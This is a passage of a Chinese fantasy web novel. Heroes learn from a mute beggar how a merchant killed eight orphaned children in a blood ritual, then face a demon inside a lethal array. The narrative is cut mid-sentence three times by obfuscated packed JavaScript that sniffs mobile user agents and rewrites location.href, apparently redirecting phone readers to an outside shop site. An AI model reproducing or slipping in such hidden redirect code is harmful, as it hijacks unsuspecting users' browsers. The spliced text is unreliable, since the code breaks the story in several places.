重寒酥神识铺开连接附近的草木,探查四周:“这附近就他一人,会不会只是在草丛里歇脚啊。” 常瀞摇头:“不可能,我能感觉到他从远处就开始盯着我们。” 乞丐见他们没有继续再继续伤寒自己的意思,大着胆子用力朝一旁挪动,期间还不停回头示意。 郁离抬眼看向乞丐挪动方向的不远处,是第一日来庐山镇时避雨的那座破庙:“他似乎在示意我们跟他走。” 乞丐见有人理解了他的意思,连连点头。 褚游拔出长刀:“去看看?” 常瀞砍断乞丐脚上的绳子:“走吧。” 乞丐踉踉跄跄走在前面,好像特别着急,跨过破庙大门时差点被绊倒,还是郁离及时扶了一把。 破庙还和上次避雨时一样,没有什么变化,只是那尊倒塌的佛像,在黑暗的映衬下,显得有些阴森可怖。 常瀞捏了个法诀,庙里瞬间变得亮堂起来。 乞丐快步走到被褥前面,用手沾了沾地上的黑灰,就在旁边画了起来。 褚游踱步到跟前:“这是,这是画了一条鱼?然后又打了一个叉?这都什么意思,让人猜谜呢。” 乞丐见他们没懂,急得嘴里一直呜呜呜的,埋头下去又在鱼旁边开始不停地画小圆圈和小房子。 重寒酥看出端倪,半蹲下去,抬起乞丐的下巴,迫使他张开嘴仔细观察。 随后,他面色凝重的站起来:“他不是先天说不了话,他的舌头被人割了。” 乞丐激动地眼睛都亮了,指着地上他画的鱼,又在自己嘴前不停地比划。 “鱼?房子和圆圈,圆圈是铜板?有很多房子和铜板的鱼?”郁离小声嘀咕,突然他像是想到了什么,“你是想说,虞府?你的舌头是被虞府人割掉的?” 乞丐激动地看起来都快哭了,不住地点头,然后突然朝他们跪了下来,开始磕头,几下额头就见了血。 褚游吓了一跳,赶紧把乞丐扶起来:“这你也说不了话,先别急了,让我们想想办法。” 乞丐听了褚游的话,渐渐平静下来。 常瀞摸出来一些水和食物递给乞丐,乞丐接过后犹豫了一下就开始大口大口地吞咽:“难办呐,这趟出来怎么尽是些难题。他这既不能说话,又不会写字的。” 郁离想了想,开口:“我来试试吧,也许能知道他想告诉我们的事情。” 8. 虞府(六) “接下来我会用我的意念去触碰你的意念,也许会有些痛苦,但别害怕,一定不要惊慌。”郁离盘腿坐下,认真地看着埋头苦吃的乞丐,“我要是讲清楚了,你就点点头。” 乞丐迟疑着点了点头。 触碰到乞丐意念的一瞬间,郁离感受到了深深的绝望。 …… 那是几十年前的一个夏天,姜禾还在杂耍班子当小学徒。 他年幼时被父母遗弃在一片禾苗地里,被杂耍班子的班主路过捡走。 说是杂耍班子,其实只有班主一人。 班主早年表演时受了伤,留下了病根,做不了什么难度高的杂耍动作,所以生意并不好,常常是饥一顿饱一顿的。 也不说上来那一天班主到底是动了恻隐之心,还是像他恶狠狠挂在嘴边说的,只是想给自己找个小仆人,总之年幼的小乞丐有了名姓,有了饭吃,从此就跟着杂耍班子的木车四处漂泊。 悲剧来临前夕,姜禾正躺在晃晃悠悠的木车上,木车上载的东西太多了,为了节省地方,他一般都会钻进一个躺倒的木桶里,反正他很瘦小。 听着坐在前面赶车的班主哼的不知名调子,姜禾慢慢睡着了。 突然,一阵喊杀声将姜禾惊醒,还没等他钻出去查看情况,就感觉天旋地转。他栖身的木桶不知道怎么回事被人扔下了车,顺着坡就滚了出去。 外面很吵,姜禾听到了陌生的威胁声和熟悉的求饶声,他知道了,他们是遇上了头一天面摊老板说的在附近流窜的匪徒。 姜禾努力稳住木桶,逃了出来。 可当他回到木车附近时,看到的却是匪徒砍向班主的刀。鲜血顺着刀一滴一滴淌了一地,班主扑倒在地,右手挣扎着举到了头前面。 姜禾死死捂住嘴,他知道,班主最后的动作是杂耍表演开始后必须做的动作,让看客噤声,安静看表演。 天微亮,姜禾在树后躲的腿都软了。 直到确定匪徒已经走得远的不能再远,他才起身,跌跌撞撞的离开,甚至不敢回头再看一眼班主的尸体。 此后很多年,姜禾一直待在他们要去的下一站,庐山镇。 他刚到庐山镇时,因为年纪太小,又什么都不会,只能流落街头,到处乞讨。 遇见小鱼的那一日,他已经一天没吃过饭了,看到墙角的一个小乞丐在啃馒头,他上去就抢,最后当然是被赶来的其他的乞丐一起打了一顿。 不过也算因祸得福,看他年岁不大,领头的一个小乞丐最后发话说把他带回家。 其实也不能算是家,只是镇上一间废弃的土屋。那里有一个老乞丐,就是他聚拢了这八个无家可归的孩子,每天指挥他们上街乞讨。 说要带他回去的就是小鱼,姜禾总觉得她的眼睛特别好看,圆圆的,班主曾经跟他形容过的葡萄大抵就是这样吧。 小鱼对他说,姜禾你的名字真好听,不像我们几个,没有姓,都是随便叫个什么小鱼,阿发,小猴,阿旺的。 姜禾难过的想,他的名字其实是班主随口起的,只是因为捡到他时,身边是一片禾苗田,班主又姓姜罢了。 就这样,他们九个孩子靠着上街乞讨,打打闹闹地活了下来,那其实是姜禾印象里比较快乐的几年。 虽然吃不饱穿不暖,还时常挨老乞丐的打,但是,他有了一个能遮风挡雨的小窝,和八个相依为命的兄弟姐妹。 改变他们九人一生命运的那一天来临时,姜禾久违地讨到了比平时都要多的钱。 他高高兴兴地攥着好几个铜板跑回了土屋,想着加上之前偷偷攒下的钱,就可以给小鱼买一个钗子了。 每次小鱼遇到穿的漂漂亮亮的同龄姑娘,总是眼巴巴地看着人家头上的钗子。 他雀跃着蹦进门,却发现屋子里有一个衣着华贵的陌生人。 老乞丐看到他,招手叫他过去,笑得脸上的褶子都挤在了一起。他低三下四地对那个陌生人道:“您看您看,这就是其中一个孩子,长得挺板正吧。” 那人拧着眉扫了一眼姜禾,轻点了下头。 老乞丐正给那陌生人陪着笑,小鱼领着其他人都进来了。 老乞丐看着人都齐了,兴高采烈的给那个陌生人介绍了一番,就小心地引着那人到另外一间房,似乎打算背着他们商量点什么。 小鱼好奇地问:“那人是谁啊,我从来没见过咱们这一片来过这么贵气的人。” 姜禾皱起眉:“不知道,但好像和我们有关。” 过了一会儿,老乞丐和那人出来,眉开眼笑地宣布:“你们几个跟着就都这位爷过好日子去吧。” 于是他们还未反应过来,就被送上了车。 封闭的马车拉着他们,径直来到了一个非常大的宅子里。 下马车后,他们立刻被带走好好刷洗了一番,穿上了从来未曾想过的柔软干净的衣服,还有了好多好吃的。 这之后的好多天,那个把他们带走的陌生人都没有出现,也没有给他们安排要干的活,只是有源源不断的美食送进来。 到底是孩子,舒适的被褥和再也不会饿着的肚子,很快就令他们放下了戒心,沉醉在新生活里。 小鱼挑了一颗最大的桃子递给他:“阿禾,这里多好哇,你不喜欢么?感觉你一直没放松下来的样子。” 姜禾伸手接过,下意识看了看四周:“没有,我可能就是不太习惯。” 他只是一直忘不掉那人那天看他的眼神。 那是,像看条死狗一样的眼神。 天气渐凉,姜禾坐在檐下,看着在院子里打闹的孩子们。 已经一月有余了,还没有什么动静,或许真的是有钱人心血来潮,捡几个孩子回家养着做好事。 …… “滴答。” “滴答。” 是,是什么声音。 眼皮好沉,怎么睁不开眼睛。 “这怎么多一个孩子?!” “买的时候那个老家伙非得九个一起卖,我想着,想着多一个孩子备用。” 是谁,谁在说话。 姜禾终于将眼皮掀开一条缝。 这里,好黑啊。 待姜禾好不容易适应了黑暗,眼前的场景却令他毛骨悚然。 除了他以外的八个孩子垂着头被分别固定在八根杆子上,血珠正源源不断地从他们的身上滴落,而后顺着地面上刻好的纹路汇聚到正中央。 他焦急地张口,却发现连发声的力气都没有。 从手脚处传来的束缚感,姜禾低下头发现只有自己被捆在一个角落里。 那两个声音还在说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196554|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎在他右手边不远处,他闭上眼,试图克制住在颤抖的身体,假装自己不曾清醒。 “你把他们看好了,等阵完成了,立马把多的那个杀了。”一道冰冷的声音扎进姜禾的耳朵里,他偷偷把眼皮掀开一条缝隙。 他看到了那人的侧脸,正是平日里笑容和善,碰到乞丐都会乐呵呵地塞一粒碎银的虞老爷。 “好嘞。”从老乞丐那把他们接走的人弓着腰。 杀谁?杀他吗? 怎么是虞老爷,这里是虞府? 可是虞老爷不是有名的大善人么,为什么要杀他们几个跟他毫无瓜葛的孩子? 一个接一个的疑问冒出来,让他本就几近崩溃的神志愈发岌岌可危。 不行,不能再想了,当务之急是从这里跑出去。不然不光小鱼她们会死,他也会死在这里。 姜禾默默打量四周,感觉他们似乎是在地下,整间屋子空空荡荡,没有供人藏身的地方,唯一的出口还被那个看守堵着。 姜禾又陷入了绝望,开始了自暴自弃般的祈祷。 飞升到上清境里的人不是说就是神仙么,求求了,随便谁,能不能来救救他们。 许是祷告应验了,出口处的楼梯里竟然传来了脚步声。 “爹,爹?你在么?”一道稚嫩的男声响起,瞬间打破了姜禾的幻想。 “该死。”他听见看守低声骂了一句。 看守起身迎过去:“少爷,您怎么跑这儿来了,快回去吧,老爷不在这里。” “这里是什么地方,呀,怎么还有这么多哥哥姐姐。” 看守急得在这冰冷的地下都快冒汗了:“呃,他们犯了错,过会儿我就把他们放回去了。” “我不信,是不是你背着爹爹在做什么坏事。” 看守都快给他跪下了:“我的少爷,我哪有那么大的胆子。您快回去吧,这不快到晚饭时间了,再不回去,您的桂花牛乳羹该凉了。” “嗷,那行吧。” 听见那个小少爷要走,姜禾决定赌一把,趁着看守背对他,他睁开眼,对着小少爷比出“救救我们”的口型。 发现小少爷眼睛瞪大盯着自己的身后,看守迅速扭头,却没发现任何异常,姜禾仍然垂着头。 他想了想,还是走过来,给了姜禾重重的几脚,直到确认他还是昏迷中,才放心地将小少爷送走。 小少爷走了,姜禾的最后一丝希望也没有了。 不过他现在也清楚了,这间地下室应当还是在虞府的范围内,不然小少爷也不会出现这里。就凭他们几个现在看起来半死不活的人,想要从这里逃出去,简直是痴心妄想。 算了吧,他卸下了所有力气,静静地等待死亡。 希望那个看守杀人的动作能利索一点,他怕疼。 没过多久,出口处又传来了脚步声。 这次看守主动走过去:“诶呦,这饭可终于送到了,诶你怎么这么面生。” 送饭的侍女声音很小:“负责给你送饭的王姐突然有点不舒服。” “哦行,好了,你回去吧。” 看守愉快地扒着饭,吃着吃着,他突然抬起手揉揉眼睛,怎么感觉眼前模模糊糊的,好像要晕倒了一样。 “咚!” 他倒在了地上,饭菜撒了一地。 9. 虞府(七) 奇怪的声响传来,姜禾迷迷糊糊地睁开眼睛,发现看守倒在地上,来送饭的侍女哆哆嗦嗦地蹲在他身前,正在拿刀割他身上的绳子。 绳子很快被割开,姜禾不解地看着对方,又将目光移向小鱼。 小少爷不知道什么又回来了,在房间中央观察被绑起来的八人。 姜禾调动所有的力气在侍女的帮助下,踉踉跄跄地走到了小鱼身边。 小少爷看姜禾走过来,冷静地按住他想解小鱼绳子的手:“听我说,现在时间很紧急,我怀疑我爹也知道这里的事情,就凭我和我的侍女想把你们九人都救出去是不可能的。看守暂时被我药倒了,咱们快点走吧。” 姜禾茫然地看了看自己满手的血,然后又看向小少爷:“那他们怎么办,小鱼,小鱼怎么办。” 小少爷叹了一口气:“我尽力,先把你送出去,有机会我再来救他们。” 姜禾退了几步,用力抓住小鱼:“可,可他们在流血,再晚会儿会死的。” 还没等小少爷回答,姜禾感受到小鱼似乎动了一下。 他欣喜地抬起头,却对上了小鱼空洞的视线。 小鱼张张口,声音虚弱:“是,是阿禾么,嘶,好疼啊。” “对对对,是我,小鱼你坚持住,有人来救我们了。” 小少爷不忍地打断他,解释了目前的状况:“姑娘你再等下,我过会儿再来救你。” 小鱼嘴角微抿:“我明白了,那拜托你了,一定要把阿禾带出去。” 姜禾眼泪流出来:“我不,我不,我们要一起走。” 小鱼轻轻一笑:“阿禾,别怕,你先出去给我熬碗粥吧,我有点饿啦。” “呵呵,出去?” “我看谁走得了!”看守扶着头挣扎着爬起来,“嘶,少爷没想到您真是厉害。不过这里不关你的事,你快走吧,我可以当做没看见过你。” 小少爷只惊慌了一刻便立即冷静下来,指着姜禾:“你不是知道我是虞府的小少爷么,这样吧,我实话说了,我看上他了,我要让他做我的伴读。” “这事是老爷让我办的,你得先去问问你爹。”看守冷笑,吹响了脖子上挂着的哨子,“我劝您快走吧,我已经叫人来了,不然这事儿要是办砸了,你我都落不到好。” 听见楼梯上已经有好几道脚步声传来,小少爷开始慌了,直接指挥侍女拦下还站不稳的看守,准备带姜禾走。 可为时已晚,好几名黑衣人已经跑了下来,其中一人迅速控制住了侍女。 小少爷护在姜禾身前:“你们不认得我么!都给我退下!” 黑衣人半分都没有停顿,一把挥开小少爷,抓住了还想往出口冲去的姜禾。 小少爷头撞到了墙上,昏了过去。 又是一道脚步声传来,楼梯口露出了虞老爷的脸。 他先是走到小少爷身前,简单检查了一下他的情况,然后转身给了看守一脚:“废物,这点事儿都办不好。” 看守双膝跪地,向虞老爷挪去:“对不起,老爷。是我大意了。” “大阵怎么样了。” “马上就能成了,就,只有个小姑娘刚才不知道怎么回事醒来了,不过您放心,我又给了她一刀,已经又昏过去了。” 姜禾听见看守的话,剧烈挣扎起来,黑衣人都险些压不住他。 虞老爷沉着脸:“少爷是怎么回事?” 看守结结巴巴:“少爷应当是误入,看见了这几个人后,也不知怎的就要来救人。” “确定阵就要成了?” “确定确定,诶,您看正说着这不就成了。” 看守话音刚落,大阵变泛出了诡异的血色光芒,仔细看去其中还掺杂着一些金色。一直阴着脸的虞老爷看见阵成,脸上也露出狂喜的神色,在血色光芒之中,显得十分扭曲可怖。 姜禾呆呆地望着阵中的八个人,他清楚地看到阵成的瞬间,他的兄弟姐妹们仿佛被抽干所有血肉一般,身体呈现出不正常的干瘪。 他的眼前闪过无数道影子,有总是脸上挂着笑的小鱼,贪吃馋嘴经常去老乞丐屋里偷吃的阿发,爬树上墙特别快的小猴,冬天风一吹就爱流鼻涕的阿旺…… 姜禾疯了一样地挣扎,一次次奋力前扑,却都被拽了回来。 他此刻只有一个念头,他得带走他们,离开这座地狱。 虞老爷从狂喜中缓过来,看着不停挣扎的姜禾,又将视线移向自己还在昏迷中的儿子,眼神闪烁几下发了话:“把他舌头割了,喂点让他能变傻的药,就扔出去吧。” 这是姜禾昏迷前的最后印象。 等他再次醒来已经是在一个无人的巷子里,口中传来剧痛,只是不知道为什么没有被药傻。 他撑着墙壁,一路踉踉跄跄地离开了庐山镇,来到了以前和小鱼她们出来玩时发现的一个废弃破庙,打算先在这里藏起来。 破庙里慈眉善目的观音像垂首,慈爱地注视着脚下狼狈的姜禾。 姜禾心中突然涌起莫名的怒火,什么神仙,呵,真是可笑,如果真的有神仙,为什么不来救救他们。 他抡起一块砖,砸毁了观音像,无力地滑坐在地上。 良久,姜禾突然像疯了一般又哭又笑。 对啊,他怎么忘了,求神还是管点用的,至少他没有被药傻,至少他还记得这些仇恨。 这之后,他白日借乞讨之名去庐山镇装疯卖傻,偷偷监视着虞府,想着拿到证据就去报官,入夜就在破庙里对着倒塌的观音像枯坐。 这一过就是很多个日日夜夜。直到郁离一行人出现,他们的行动让他察觉到这似乎是一个千载难逢的机会,或许是他余生唯一能扳倒虞老爷的机会。 …… 郁离收回意念,拧着眉讲述了乞丐姜禾的经历。 褚游听着拳头都捏紧了:“那咱们先前发现的地下石室就是他们九人被关起来的地方吧,这是什么邪阵,竟害了这么多人!” 重寒酥:“只是他一个普普通通的商户,从哪里得来的邪阵之法。” “走吧,我们现在就去虞府。”常瀞又给姜禾留了一些水和食物,沉着脸率先走出破庙。 回到虞府时,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196555|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色已渐明。 四人直接来到虞少夫人居住的梦园,本是想试探下昨晚的事情,可却扑了个空。 侍女道,他家少爷今早天未亮就走了,似乎是附近镇子的生意上有什么急事儿,少夫人送完少爷以后,也去了虞府在庐山镇上的一间铺子,两人都不知何时归。 门外匆匆跑来的小厮也道,少爷和少夫人还留了话,说是昨晚家里突然闯进歹徒的事情十分抱歉,让他们受惊了。虞府已经下令严查彻查,并且为他们更换了新的住处。 “该不会是心虚躲我们吧。”褚游小声叨叨。 常瀞展露出标准笑容,向侍女询问,可否能让他们在这里等虞少爷和少夫人,他们还有些急事想问。 侍女脸红着应下了。 谁知这一等,就等到了暮色四合。 郁离最先看见远处冒出一个若隐若现的光点,随着光点越来越近,他才看清,是柳惜露提着一盏被风吹的忽明忽灭的灯。 今夜的风好像格外大,是从何时开始的呢。 柳惜露走进院子,她脸色苍白,看起来似乎随时都要倒下。 “叨扰了,在这里等你们。”常瀞礼貌起身,暗自活动了下手腕,随时准备拔剑,“临镇的生意这么急吗,虞少爷今夜都回不来?” 柳惜露握着那盏灯,声音还是柔柔的:“是啊,晖郎大约得明日才能回来。” 重寒酥试探:“昨夜……” “昨夜,呵呵昨夜。”柳惜露声音突然尖利起来。 她猛地抬起头,面色复杂地盯着他们,像在做什么决定一般,然后她无声张口说了几个字。 看口型,似乎是“对不起”。 郁离心头一紧,感觉有什么危险要来了。 果然,下一瞬,柳惜露手一松,她手里一直握着的那盏灯就砸在地上,碎了。 可是诡异的是,灯里的那团光却没有灭,反而迅速升到了半空,而后就像是触碰到了空中的什么屏障一般,融了进去,消失不见。 紧接着一座泛着阵阵腥气的血色大阵拔地而起,几乎笼罩了大半个虞府。 “不是,这个阵怎么感觉有点熟悉啊。”褚游还沉浸在上一秒柳惜露突然就不装了的惊讶中。 “能不熟悉么,昨晚困住你们的不就是这个阵。”郁离张望四周,试图寻找一个薄弱的突破口,“只是流霞阵的范围我记得没有这么大啊,奇怪……” 常瀞打断他,眉头紧锁:“这不是流霞阵,是八煞流霞阵。” 八煞流霞阵,因其过于邪恶,故而失传已久,解阵方法据说千变万化,毫无定式,有“只进不出”的凶名。 “呵呵,真不愧是上清境的仙君,一眼就认出来了。”柳惜露好像根本不想攻击他们一样,一扫原先大家闺秀式样的端庄,随意撕掉繁复的裙摆,直接盘腿坐在了地上。 “什么!我可真是个乌鸦嘴。”褚游惊叫,轻轻抽了自己一巴掌,“那这还有办法破么。” “劝你们别试啦,找个地方歇着等死吧。”柳惜露的声音幽幽传来,“现在这个阵里的所有人,都得死。” 10. 虞府(八) “那你呢,你自己怎么出去?!”褚游冲到柳惜露面前。 柳惜露笑出声,像是听到了什么可笑的话一般:“诸巷主,你不是知道么,我到鸡鸣巷之前就已经死过一遍了,离开鸡鸣巷后更是应该直接魂飞魄散,这样的我,还何谈什么出不出去。” 褚游气得捏紧拳头。 重寒酥沿着大阵转了一圈,也没找到任何突破口,回来时怀里多了几枝迎春,花枝泛着淡淡的微光:“八煞流霞阵的威力太强了,我的法器迎春储藏的生命力替我们挡不了太长时间,等迎春耗尽,阵再破不了,我们几个怕是真的要死在这里。” 正说着,外面突然传来此起彼伏的叫喊声,是虞府的下人和府兵,有些人已经开始七窍流血。 “该死,连其他人也不放过!”常瀞御剑而起,“阿离褚游你们和我一起先把虞府的人聚集起来。寒酥,这边就靠你了。” 重寒酥应了一声,开始布结界。 经过三人的努力,惊慌失措的人们都被带进了重寒酥布好的结界里,暂时被安抚下来。重寒酥的迎春发出更盛的光芒,温柔地充盈了整个结界。 柳惜露从听到虞府下人们痛苦的叫声后,就收起了刚才那般无所谓的态度。她抱起双臂,念叨着:“对不起,我没办法的,我也不想这样。” 常瀞逼到柳惜露身前:“可你还是做了,不是吗?你如果有什么能够解阵的方法就赶紧说出来,我知道你只是受魔物驱使,你也不想牵连无辜的百姓,对吗。” “我怎么可能有逃出去的办法,它只给了我阵法的开启方式。”柳惜露全身都开始颤抖,“不过我管不了那么多了,我只想杀了虞峰,无时无刻都在想!时间差不多了,他身边的府兵肯定也挺不住了,等我去把虞峰千刀万剐了,就自行了断。” “杀虞峰?”郁离挡住了柳惜露想要离开的脚步,“可是,虞老爷已经死了啊。” “什么?!”柳惜露一把抓住郁离的手臂,“你骗我,他明明一直被府兵保护着养病,我看见的,对,他肯定还苟延残喘地躺在床上。它说了,会让我亲手剐了虞峰的,怎么可能!” 常瀞条件反射般把郁离护在身后:“我和阿离亲眼所见,连呼吸都没了,还能是活人?不过你竟不知道?我还当昨夜你突然袭击,就是因为我们闯虞老爷的卧房被发现了。” 柳惜露的精神已经崩溃了:“我不知道,我不知道,是它,是魔物让我去袭击你们的,让我把你们困住。它骗我,该死的魔物!我要去看看,我要亲眼看看。” 说着柳惜露就往虞老爷静养的蕉园跑去,常瀞和郁离见状紧随其后。 褚游也跟着跑了几步,又想到重寒酥此刻正全身心控制迎春,怕他一个人遇到危险措手不及,就退回到他身边。 今夜的蕉园与前一晚截然不同,院子里倒了满地的府兵,血肉都已经被吞噬殆尽,没有一个活人。 三人没遇到阻拦,几息之间便闯进了虞老爷的卧房,可是结果却不如柳惜露想的那样。虞老爷还和昨天一样躺在床上,只是面容不再红润,呈现出死人独有的灰青色。 柳惜露先是愣了一下,随后提起匕首疯了一般不停扎在虞老爷的尸体上:“虞峰,你起来!你怎么就死了,你怎么这么轻易就死了!我还没有听到你痛苦的呼喊,看见你跪在我身前痛哭流涕的样子,你怎么就敢死!你死了,我们的仇还怎么报!我们八个人的命你怎么偿!” 郁离和常瀞都没有动,任由柳惜露发泄。 因为他们知道那八个无辜弱小的孩子,当年是怎么被虞老爷轻飘飘的一句话就折磨至死的,他们没有立场去阻拦。 捅了不知多少刀,虞老爷的尸体已经惨不忍睹了,柳惜露终于停了下来,滑坐在地上,呆呆地望着地面,像被抽走了灵魂。 “她冷静下来了,咱们先把她带走,和褚大哥他们汇合?”郁离扯扯常瀞的袖子。 常瀞走了下神,怎么又是一个爱扯人袖子的。 “行。”他一边说着一边施法用绳子缚住柳惜露的手脚。 “等等。”郁离皱起眉头,感觉昨夜被偷袭的事情有些蹊跷,“我刚刚一路上都在想,柳惜露说她并不知道我们昨夜偷偷潜入的事情,那魔物是怎么知道的呢,所以它或者它的其他耳目必定昨夜也在这里,总不能是因为他心血来潮搞个突然袭击吧。” “有道理。”常瀞停下了想要带走柳惜露的动作,来回踱了几步:“方才我们疏散虞府下人的时候,看见了好多死亡的府兵。照理说这些府兵的身体素质应该比其他下人要强多了,可是那些下人都没几个出事的。” 常瀞顿了顿:“只有一个可能,是魔物搞的鬼,它看事情已经成了,怕自己做过的事情暴露,干脆全部杀了之前咱们猜到的那些被替换的府兵。” “所以现在这些府兵死无对证了,柳惜露看起来也不像是知道太多事情,线索又断了?”郁离又开启了另一条思路:“之前听你们提起过,魔物最爱欣赏绝望的模样。它混迹在虞老爷的身边,是为了监视,也同样是为了看虞老爷绝望的模样。” 常瀞若有所思地盯着失魂落魄的柳惜露:“这么说来,柳惜露的绝望,它也一定不会错过。” “所以,魔物现在极有可能就在——” 郁离话音未落,便看到一道血色光箭朝常瀞后背激射而去。 血色光箭速度太快了,快到他来不及思考其他能接下这一击的办法,只能自己迎上去。 常瀞呼吸一滞,眼前的景象似乎变慢了一般。他看着郁离突然冲了过来,又软软地倒下去。 那道血色光箭扎进他的左胸口,缓缓融了进去,留下了一个黑漆漆的洞。 “哈哈哈哈哈哈。”扭曲诡异的笑声响起,不远处倒着的一具府兵尸体明明已经不成人形,却又诡异地立了起来,“你们猜的全中。” 常瀞这才反应过来,他顾不上那具诡异的尸体,挥手设了一道防御结界,颤抖着半跪下去将郁离揽在身前,捂住他的伤口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196556|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >郁离疼得发抖,他挤出一个被面具遮挡住的微笑:“别怕,我不会有事的。” 常瀞有些失控,那种有人挡在他身前,他却无能为力的恐惧感又出现了:“怎么可能没事,这么深的伤口!你等等我现在就带你出去,回上清境,你不会有事的。” 郁离试探地覆上常瀞捂在他胸前的手,安抚道:“真的没事的,你忘了吗,我已经死过一次了。” 常瀞怔住,不知为何他的心开始撕心裂肺般的疼:“可,可你的手这么凉。” 郁离轻轻回道:“我是鬼啊,鬼的身体就是没有温度的。” “喂,我还在这儿呢,你们难道不是来找我的吗。”被魔物控制的尸体大叫着打断他们,“真可惜啊,这具虞府最高修为的尸体积攒的全力一击,再加上我的一半躯体凝聚的恶意,如果能落在星君你身上,真是难说。可如果是他,还真不会有什么大问题。毕竟鸡鸣巷的巷主要想魂飞魄散,真没那么容易啊。” 郁离抓住它话中的漏洞:“你怎会知道关于鸡鸣巷巷主的事情,难道说鸡鸣巷,不,不止,酆都里也有你们的耳目?!” 魔物摇头晃脑:“这你就想太多了,三元鉴在那摆着呢,我们哪有那么神通广大。只是单纯的因为活得长久,知道的东西更多罢了,包括连如今的上清境都怕是不再有人记得的,这天地间的秘密。” 常瀞见郁离的情况确实不再恶化,而且还有好转的迹象,便逐渐放下心来,专心应对魔物:“你还知道什么?” “嘿嘿,这个就不能告诉你了。” “装神弄鬼,你怕是什么都不知道吧。” “你就不用再套话了,说了不会告诉你的。” “那我便只能带你回上清境,严刑拷打了。” “上清境还从未有过将魔物成功带回去的先例吧。” 确实,常瀞心头一沉,魔物杀不死消不灭。之前每次三元鉴发现魔物,都是将它们带去北境冰原封印。 因为魔物犹擅蛊惑人心,上清境担心被魔物钻了空子打下暗桩,往往捉拿的第一时间就会带着它们直接传送到封印地。 常瀞拔剑:“那我们试试。” “没机会啦。柳惜露砸碎的灯是起阵的引子,用掉了我的一半躯体,方才的攻击又用了一半。你们不是找不到杀死我们的方法吗,其实只要耗尽我们的躯体和恶意就可以了。我马上就要死了,开心吗?哦,你们就要死在阵里了,怕也开心不到哪去。”魔物手舞足蹈,“我倒很开心呢,使命终于完成了!看在你们陪我一起死的份上,我就稍微给你们讲讲虞府。” “我想想啊,故事还得从虞峰还年轻时说起——” 常瀞打断:“不可能,三元鉴上一次给出魔物的踪迹是在百年前,而且那次的魔物被上清境成功剿灭,你怎么可能出现在虞峰年轻的时候。” “哦?那你怎么知道三元鉴就一定能指引出我们的踪迹呢,又或者说三元鉴指引的行踪是不是每一次都被传达出去了呢?” 11. 虞府(九) “你是说,上清境有你们的人!三元鉴指引减少的原因,不是因为封印被慢慢加固,而是因为有人把你们的踪迹抹去了!”常瀞不受控制地开始猜测上清境里可能存在的内鬼,一道道身影从他心头略过。 “诶,我可没这么说啊,我只是给你了几种猜测,哈哈哈哈哈哈。”魔物得意地望着已经被它种下怀疑种子的常瀞,“好啦,继续听我讲虞峰。” “我是在虞峰动去西域经商的念头之前,就瞄上他的。那时的他啊,生意做一桩成一桩,真是春风得意。” 魔物骗了庐山镇一个小小的商人,套上他的壳子接近了虞峰。靠着它蛊惑人心的天赋,成功将虞峰的野心引向了遥远的西域。 而后一切都如同它有意干预的那样,在尝到了几次甜头后,赌徒虞峰压上了他近乎全部的身家,然后,一败涂地。 “哈哈哈哈哈哈,那个蠢货,根本不知道一切都是我搞的鬼,还来找我寻求安慰。” 魔物趁机向他推荐了一个风水先生,当然也是已经受它操控的了。风水先生给虞峰透漏了一种聚财的邪术,需要八个孩子的血肉为引。 虞峰退缩了,可是在魔物的煽风点火下,对财富权力的渴望和失败的不甘,最终压倒了虞峰为数不多的良知和胆怯。 虞峰盯上了镇上的几个小乞丐,无人在意,无人关心,只用了一点点钱,就从老乞丐那买了回来。 阵成之后,虞峰在魔物的帮助下,成功打通了西域与中原的商路,却从此夜夜噩梦。 他招兵买马,高价请来了许多高手保护他,又让被魔物控制的风水先生给设聚财阵的小院加了一层隐蔽的阵法,里面供满了长明灯。 这些还不够,他开始不停地做善事,企图弥补他的罪孽,却意外落了个大善人的名号。那些百姓们都不知道,他们每当面夸他一次,虞峰的眼前都会闪过那八个孩子血淋淋的身影。 “然后就到如今,在我们的计划即将完成之时,你们上清境插手了!虞峰这个老东西也赶巧在这种时候突然身体不行了。”魔物说着说着突然生气,“这些年我一直想帮他占了他儿子的身子,他一直推脱,装什么父子情深,血浓于水,呸!” 它看上清境的搜寻越来越逼近,便想用自己这些年默默在虞府渗透的府兵势力,强行把虞峰的魂给换了。 可没想到虞峰也早有防备,一人一魔就这么僵持住了。 情况越发紧迫,魔物久违地感到了焦头烂额。 就在这时,它意外发现了前来刺杀虞峰的一只鬼,然后像看笑话一样见证了鬼的失败。 它自己能用的人都粘上了太多的魔物气息,不能在上清境前露面,于是它自然而然地想到了刺杀失败,马上就要消散的这只鬼。 如同救世主一般,它现身,与她做了一个交易,让她以虞少夫人的身份为它打发上清境的人,最好再能杀几个,条件是事成之后帮他杀了虞峰。 